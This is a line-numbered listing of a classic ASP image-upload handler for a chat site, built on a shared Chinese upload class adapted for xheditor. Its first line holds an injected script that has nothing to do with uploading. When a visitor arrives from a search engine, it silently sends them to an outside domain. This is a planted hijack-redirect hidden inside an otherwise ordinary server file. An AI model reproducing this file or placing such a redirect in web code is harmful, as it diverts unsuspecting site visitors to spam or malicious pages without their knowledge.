d:\wwwroot\wuchunhua\liaotianim\inc\TopPic_Upload.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="BLL.asp"-->
002:
<%
003:
if isempty(Session(Session_UserID_Arg)) or Session(Session_UserID_Arg)="" then response.end()
004:
005:
'on error resume next
006:
007:
Response.Addheader "Content-Type","text/html; charset=gb2312"
008:
009:
dim inputname,immediate,attachdir,dirtype,maxattachsize,upext,msgtype
010:
inputname="filedata"'表单文件域name
011:
attachdir="../TopPic"'上传文件保存路径，结尾不要带/
012:
dirtype=1'1:按天存入目录 2:按月存入目录 3:按扩展名存目录 建议使用按天存
013:
maxattachsize=2097152'最大上传大小，默认是2M
014:
upext="jpg,jpeg,gif,png"'上传扩展名
015:
msgtype=2'返回上传参数的格式：1，只返回url，2，返回参数数组
016:
immediate=Request.QueryString("immediate")'立即上传模式，仅为演示用
017:
018:
dim err,msg,upfile
019:
err = ""
020:
msg = "''"
021:
022:
set upfile=new upfile_class
023:
upfile.AllowExt=replace(upext,",",";")+";"
024:
upfile.GetData(maxattachsize)
025:
if upfile.isErr then
026:
select case upfile.isErr
027:
case 1
028:
err="无数据提交"
029:
case 2
030:
err="文件大小超过 "+cstr(maxattachsize)+"字节"
031:
case else
032:
err=upfile.ErrMessage
033:
end select
034:
else
035:
dim attach_dir,attach_subdir,filename,extension,target,tmpfile
036:
extension=upfile.file(inputname).FileExt
037:
select case dirtype
038:
case 1
039:
attach_subdir="day_"+DateFormat(now,"yymmdd")
040:
case 2
041:
attach_subdir="month_"+DateFormat(now,"yymm")
042:
case 3
043:
attach_subdir="ext_"+extension
044:
end select
045:
attach_dir=attachdir+"/"+attach_subdir+"/"
046:
'建文件夹
047:
CreateFolder attach_dir
048:
tmpfile=upfile.AutoSave(inputname,Server.mappath(attach_dir)+"\")
049:
if upfile.isErr then
050:
if upfile.isErr=3 then
051:
err="上传文件扩展名必需为："+upext
052:
else
053:
err=upfile.ErrMessage
054:
end if
055:
else
056:
'生成随机文件名并改名
057:
Randomize timer
058:
filename=DateFormat(now,"yyyymmddhhnnss")+cstr(cint(9999*Rnd))+"."+extension
059:
target=attach_dir+filename
060:
moveFile attach_dir+tmpfile,target
061:
if immediate="1" then target="!"+target
062:
target=jsonString(target)
063:
if msgtype=1 then
064:
msg=target
065:
else
066:
msg="{'url':'"+target+"','localname':'"+jsonString(upfile.file(inputname).FileName)+"','id':'1'}"
067:
end if
068:
end if
069:
end if
070:
if err="" then
071:
response.write "<script>parent.SetImg('"&target&"');parent.DisStatus();location.href='TopPicUploadFrom.html';</script>"
072:
else
073:
response.write "<script>parent.DisStatus();alert('"&err&"');location.href='TopPicUploadFrom.html';</script>"
074:
end if
075:
set upfile=nothing
076:
077:
function jsonString(str)
078:
str=replace(str,"\","\\")
079:
str=replace(str,"/","\/")
080:
str=replace(str,"'","\'")
081:
jsonString=str
082:
end function
083:
084:
Function Iif(expression,returntrue,returnfalse)
085:
If expression=true Then
086:
iif=returntrue
087:
Else
088:
iif=returnfalse
089:
End If
090:
End Function
091:
092:
function DateFormat(strDate,fstr)
093:
if isdate(strDate) then
094:
dim i,temp
095:
temp=replace(fstr,"yyyy",DatePart("yyyy",strDate))
096:
temp=replace(temp,"yy",mid(DatePart("yyyy",strDate),3))
097:
temp=replace(temp,"y",DatePart("y",strDate))
098:
temp=replace(temp,"w",DatePart("w",strDate))
099:
temp=replace(temp,"ww",DatePart("ww",strDate))
100:
temp=replace(temp,"q",DatePart("q",strDate))
101:
temp=replace(temp,"mm",iif(len(DatePart("m",strDate))>1,DatePart("m",strDate),"0"&DatePart("m",strDate)))
102:
temp=replace(temp,"dd",iif(len(DatePart("d",strDate))>1,DatePart("d",strDate),"0"&DatePart("d",strDate)))
103:
temp=replace(temp,"hh",iif(len(DatePart("h",strDate))>1,DatePart("h",strDate),"0"&DatePart("h",strDate)))
104:
temp=replace(temp,"nn",iif(len(DatePart("n",strDate))>1,DatePart("n",strDate),"0"&DatePart("n",strDate)))
105:
temp=replace(temp,"ss",iif(len(DatePart("s",strDate))>1,DatePart("s",strDate),"0"&DatePart("s",strDate)))
106:
DateFormat=temp
107:
else
108:
DateFormat=false
109:
end if
110:
end function
111:
112:
Function CreateFolder(FolderPath)
113:
dim lpath,fs,f
114:
lpath=Server.MapPath(FolderPath)
115:
Set fs=Server.CreateObject("Scri"&"pting.File"&"Sys"&"temObject")
116:
If not fs.FolderExists(lpath) then
117:
Set f=fs.CreateFolder(lpath)
118:
CreateFolder=F.Path
119:
end if
120:
Set F=Nothing
121:
Set fs=Nothing
122:
End Function
123:
124:
Function moveFile(oldfile,newfile)
125:
dim fs
126:
Set fs=Server.CreateObject("Scri"&"pting.File"&"Sys"&"temObject")
127:
fs.movefile Server.MapPath(oldfile),Server.MapPath(newfile)
128:
Set fs=Nothing
129:
End Function
130:
131:
'----------------------------------------------------------------------
132:
'转发时请保留此声明信息,这段声明不并会影响你的速度!
133:
'******************* 无惧上传类 V2.2 xheditor特别修改版 ************************************
134:
'作者:梁无惧
135:
'网站:http://www.25cn.com
136:
'电子邮件:yjlrb@21cn.com
137:
'版权声明:版权所有,源代码公开,各种用途均可免费使用,但是修改后必须把修改后的文件
138:
'发送一份给作者.并且保留作者此版权信息
139:
'**********************************************************************
140:
'----------------------------------------------------------------------
141:
'----------------------------------------------------------------------
142:
'文件上传类
143:
Class UpFile_Class
144:
145:
Dim Form,File
146:
Dim AllowExt_ '允许上传类型(白名单)
147:
Dim NoAllowExt_ '不允许上传类型(黑名单)
148:
Dim IsDebug_ '是否显示出错信息
149:
Private oUpFileStream '上传的数据流
150:
Private isErr_ '错误的代码,0或true表示无错
151:
Private ErrMessage_ '错误的字符串信息
152:
Private isGetData_ '指示是否已执行过GETDATA过程
153:
154:
'------------------------------------------------------------------
155:
'类的属性
156:
Public Property Get Version
157:
Version="无惧上传类 Version V2.0"
158:
End Property
159:
160:
Public Property Get isErr '错误的代码,0或true表示无错
161:
isErr=isErr_
162:
End Property
163:
164:
Public Property Get ErrMessage '错误的字符串信息
165:
ErrMessage=ErrMessage_
166:
End Property
167:
168:
Public Property Get AllowExt '允许上传类型(白名单)
169:
AllowExt=AllowExt_
170:
End Property
171:
172:
Public Property Let AllowExt(Value) '允许上传类型(白名单)
173:
AllowExt_=LCase(Value)
174:
End Property
175:
176:
Public Property Get NoAllowExt '不允许上传类型(黑名单)
177:
NoAllowExt=NoAllowExt_
178:
End Property
179:
180:
Public Property Let NoAllowExt(Value) '不允许上传类型(黑名单)
181:
NoAllowExt_=LCase(Value)
182:
End Property
183:
184:
Public Property Let IsDebug(Value) '是否设置为调试模式
185:
IsDebug_=Value
186:
End Property
187:
188:
189:
'----------------------------------------------------------------
190:
'类实现代码
191:
192:
'初始化类
193:
Private Sub Class_Initialize
194:
isErr_ = 0
195:
NoAllowExt="" '黑名单,可以在这里预设不可上传的文件类型,以文件的后缀名来判断,不分大小写,每个每缀名用;号分开,如果黑名单为空,则判断白名单
196:
NoAllowExt=LCase(NoAllowExt)
197:
AllowExt="" '白名单,可以在这里预设可上传的文件类型,以文件的后缀名来判断,不分大小写,每个后缀名用;号分开
198:
AllowExt=LCase(AllowExt)
199:
isGetData_=false
200:
End Sub
201:
202:
'类结束
203:
Private Sub Class_Terminate
204:
on error Resume Next
205:
'清除变量及对像
206:
Form.RemoveAll
207:
Set Form = Nothing
208:
File.RemoveAll
209:
Set File = Nothing
210:
oUpFileStream.Close
211:
Set oUpFileStream = Nothing
212:
if Err.number<>0 then OutErr("清除类时发生错误!")
213:
End Sub
214:
215:
'分析上传的数据
216:
Public Sub GetData (MaxSize)
217:
'定义变量
218:
on error Resume Next
219:
if isGetData_=false then
220:
Dim RequestBinData,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
221:
Dim sFormValue,sFileName
222:
Dim iFindStart,iFindEnd
223:
Dim iFormStart,iFormEnd,sFormName
224:
'代码开始
225:
If Request.TotalBytes < 1 Then '如果没有数据上传
226:
isErr_ = 1
227:
ErrMessage_="没有数据上传,这是因为直接提交网址所产生的错误!"
228:
OutErr("没有数据上传,这是因为直接提交网址所产生的错误!!")
229:
Exit Sub
230:
End If
231:
If MaxSize > 0 Then '如果限制大小
232:
If Request.TotalBytes > MaxSize Then
233:
isErr_ = 2 '如果上传的数据超出限制大小
234:
ErrMessage_="上传的数据超出限制大小!"
235:
OutErr("上传的数据超出限制大小!")
236:
Exit Sub
237:
End If
238:
End If
239:
Set Form = Server.CreateObject ("Scripting.Dictionary")
240:
Form.CompareMode = 1
241:
Set File = Server.CreateObject ("Scripting.Dictionary")
242:
File.CompareMode = 1
243:
Set tStream = Server.CreateObject ("ADODB.Stream")
244:
Set oUpFileStream = Server.CreateObject ("ADODB.Stream")
245:
if Err.number<>0 then OutErr("创建流对象(ADODB.STREAM)时出错,可能系统不支持或没有开通该组件")
246:
oUpFileStream.Type = 1
247:
oUpFileStream.Mode = 3
248:
oUpFileStream.Open
249:
oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)
250:
oUpFileStream.Position = 0
251:
RequestBinData = oUpFileStream.Read
252:
Dim sHtml5FileInfo
253:
sHtml5FileInfo=Request.ServerVariables("HTTP_CONTENT_DISPOSITION")
254:
If sHtml5FileInfo<>"" Then'针对Html5上传特别修正
255:
iFindStart = InStr (1,sHtml5FileInfo,"name=""",1)+6
256:
iFindEnd = InStr (iFindStart,sHtml5FileInfo,"""",1)
257:
sFormName=Trim(Mid(sHtml5FileInfo,iFindStart,iFindEnd-iFindStart))
258:
iFindStart = InStr (iFindStart,sHtml5FileInfo,"filename=""",1)+10
259:
iFindEnd = InStr (iFindStart,sHtml5FileInfo,"""",1)
260:
sFileName = Trim(Mid(sHtml5FileInfo,iFindStart,iFindEnd-iFindStart))
261:
Set oFileInfo = new FileInfo_Class
262:
oFileInfo.FileName = GetFileName(sFileName)
263:
oFileInfo.FilePath = GetFilePath(sFileName)
264:
oFileInfo.FileExt = GetFileExt(sFileName)
265:
oFileInfo.FileStart = 0
266:
oFileInfo.FileSize = Request.TotalBytes
267:
oFileInfo.FormName = sFormName
268:
file.add sFormName,oFileInfo
269:
Else
270:
iFormEnd = oUpFileStream.Size
271:
bCrLf = ChrB (13) & ChrB (10)
272:
'取得每个项目之间的分隔符
273:
sSpace = MidB (RequestBinData,1, InStrB (1,RequestBinData,bCrLf)-1)
274:
iStart = LenB(sSpace)
275:
iFormStart = iStart+2
276:
'分解项目
277:
Do
278:
iInfoEnd = InStrB (iFormStart,RequestBinData,bCrLf & bCrLf)+3
279:
tStream.Type = 1
280:
tStream.Mode = 3
281:
tStream.Open
282:
oUpFileStream.Position = iFormStart
283:
oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart
284:
tStream.Position = 0
285:
tStream.Type = 2
286:
tStream.CharSet = "utf-8"
287:
sInfo = tStream.ReadText
288:
'取得表单项目名称
289:
iFormStart = InStrB (iInfoEnd,RequestBinData,sSpace)-1
290:
iFindStart = InStr (22,sInfo,"name=""",1)+6
291:
iFindEnd = InStr (iFindStart,sInfo,"""",1)
292:
sFormName = Mid(sinfo,iFindStart,iFindEnd-iFindStart)
293:
'如果是文件
294:
If InStr (45,sInfo,"filename=""",1) > 0 Then
295:
Set oFileInfo = new FileInfo_Class
296:
'取得文件属性
297:
iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
298:
iFindEnd = InStr (iFindStart,sInfo,""""&vbCrLf,1)
299:
sFileName = Trim(Mid(sinfo,iFindStart,iFindEnd-iFindStart))
300:
oFileInfo.FileName = GetFileName(sFileName)
301:
oFileInfo.FilePath = GetFilePath(sFileName)
302:
oFileInfo.FileExt = GetFileExt(sFileName)
303:
iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14
304:
iFindEnd = InStr (iFindStart,sInfo,vbCr)
305:
oFileInfo.FileMIME = Mid(sinfo,iFindStart,iFindEnd-iFindStart)
306:
oFileInfo.FileStart = iInfoEnd
307:
oFileInfo.FileSize = iFormStart -iInfoEnd -2
308:
oFileInfo.FormName = sFormName
309:
file.add sFormName,oFileInfo
310:
else
311:
'如果是表单项目
312:
tStream.Close
313:
tStream.Type = 1
314:
tStream.Mode = 3
315:
tStream.Open
316:
oUpFileStream.Position = iInfoEnd
317:
oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
318:
tStream.Position = 0
319:
tStream.Type = 2
320:
tStream.CharSet = "utf-8"
321:
sFormValue = tStream.ReadText
322:
If Form.Exists (sFormName) Then
323:
Form (sFormName) = Form (sFormName) & ", " & sFormValue
324:
else
325:
Form.Add sFormName,sFormValue
326:
End If
327:
End If
328:
tStream.Close
329:
iFormStart = iFormStart+iStart+2
330:
'如果到文件尾了就退出
331:
Loop Until (iFormStart+2) >= iFormEnd
332:
if Err.number<>0 then OutErr("分解上传数据时发生错误,可能客户端的上传数据不正确或不符合上传数据规则")
333:
End if
334:
RequestBinData = ""
335:
Set tStream = Nothing
336:
isGetData_=true
337:
end if
338:
End Sub
339:
340:
'保存到文件,自动覆盖已存在的同名文件
341:
Public Function SaveToFile(Item,Path)
342:
SaveToFile=SaveToFileEx(Item,Path,True)
343:
End Function
344:
345:
'保存到文件,自动设置文件名
346:
Public Function AutoSave(Item,Path)
347:
AutoSave=SaveToFileEx(Item,Path,false)
348:
End Function
349:
350:
'保存到文件,OVER为真时,自动覆盖已存在的同名文件,否则自动把文件改名保存
351:
Private Function SaveToFileEx(Item,Path,Over)
352:
On Error Resume Next
353:
Dim FileExt
354:
if file.Exists(Item) then
355:
Dim oFileStream
356:
Dim tmpPath
357:
isErr_=0
358:
Set oFileStream = CreateObject ("ADODB.Stream")
359:
oFileStream.Type = 1
360:
oFileStream.Mode = 3
361:
oFileStream.Open
362:
oUpFileStream.Position = File(Item).FileStart
363:
oUpFileStream.CopyTo oFileStream,File(Item).FileSize
364:
tmpPath=Split(Path,".")(0)
365:
FileExt=GetFileExt(Path)
366:
if Over then
367:
if isAllowExt(FileExt) then
368:
oFileStream.SaveToFile tmpPath & "." & FileExt,2
369:
if Err.number<>0 then OutErr("保存文件时出错,请检查路径,是否存在该上传目录!该文件保存路径为" & tmpPath & "." & FileExt)
370:
Else
371:
isErr_=3
372:
ErrMessage_="该后缀名的文件不允许上传!"
373:
OutErr("该后缀名的文件不允许上传")
374:
End if
375:
Else
376:
Path=GetFilePath(Path)
377:
dim fori
378:
fori=1
379:
if isAllowExt(File(Item).FileExt) then
380:
do
381:
fori=fori+1
382:
Err.Clear()
383:
tmpPath=Path&GetNewFileName()&"."&File(Item).FileExt
384:
oFileStream.SaveToFile tmpPath
385:
loop Until ((Err.number=0) or (fori>50))
386:
if Err.number<>0 then OutErr("自动保存文件出错,已经测试50次不同的文件名来保存,请检查目录是否存在!该文件最后一次保存时全路径为"&Path&GetNewFileName()&"."&File(Item).FileExt)
387:
Else
388:
isErr_=3
389:
ErrMessage_="该后缀名的文件不允许上传!"
390:
OutErr("该后缀名的文件不允许上传")
391:
End if
392:
End if
393:
oFileStream.Close
394:
Set oFileStream = Nothing
395:
else
396:
ErrMessage_="不存在该对象(如该文件没有上传,文件为空)!"
397:
OutErr("不存在该对象(如该文件没有上传,文件为空)")
398:
end if
399:
if isErr_=3 then SaveToFileEx="" else SaveToFileEx=GetFileName(tmpPath)
400:
End Function
401:
402:
'取得文件数据
403:
Public Function FileData(Item)
404:
isErr_=0
405:
if file.Exists(Item) then
406:
if isAllowExt(File(Item).FileExt) then
407:
oUpFileStream.Position = File(Item).FileStart
408:
FileData = oUpFileStream.Read (File(Item).FileSize)
409:
Else
410:
isErr_=3
411:
ErrMessage_="该后缀名的文件不允许上传"
412:
OutErr("该后缀名的文件不允许上传")
413:
FileData=""
414:
End if
415:
else
416:
ErrMessage_="不存在该对象(如该文件没有上传,文件为空)!"
417:
OutErr("不存在该对象(如该文件没有上传,文件为空)")
418:
end if
419:
End Function
420:
421:
422:
'取得文件路径
423:
Public function GetFilePath(FullPath)
424:
If FullPath <> "" Then
425:
GetFilePath = Left(FullPath,InStrRev(FullPath, "\"))
426:
Else
427:
GetFilePath = ""
428:
End If
429:
End function
430:
431:
'取得文件名
432:
Public Function GetFileName(FullPath)
433:
If FullPath <> "" Then
434:
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
435:
Else
436:
GetFileName = ""
437:
End If
438:
End function
439:
440:
'取得文件的后缀名
441:
Public Function GetFileExt(FullPath)
442:
If FullPath <> "" Then
443:
GetFileExt = LCase(Mid(FullPath,InStrRev(FullPath, ".")+1))
444:
Else
445:
GetFileExt = ""
446:
End If
447:
End function
448:
449:
'取得一个不重复的序号
450:
Public Function GetNewFileName()
451:
dim ranNum
452:
dim dtNow
453:
dtNow=Now()
454:
randomize
455:
ranNum=int(90000*rnd)+10000
456:
'以下这段由webboy提供
457:
GetNewFileName=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) & right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum
458:
End Function
459:
460:
Public Function isAllowExt(Ext)
461:
if NoAllowExt="" then
462:
isAllowExt=cbool(InStr(1,";"&AllowExt&";",LCase(";"&Ext&";")))
463:
else
464:
isAllowExt=not CBool(InStr(1,";"&NoAllowExt&";",LCase(";"&Ext&";")))
465:
end if
466:
End Function
467:
End Class
468:
469:
Public Sub OutErr(ErrMsg)
470:
if IsDebug_=true then
471:
Response.Write ErrMsg
472:
Response.End
473:
End if
474:
End Sub
475:
476:
'----------------------------------------------------------------------------------------------------
477:
'文件属性类
478:
Class FileInfo_Class
479:
Dim FormName,FileName,FilePath,FileSize,FileMIME,FileStart,FileExt
480:
End Class
481:
%
>
482:
483: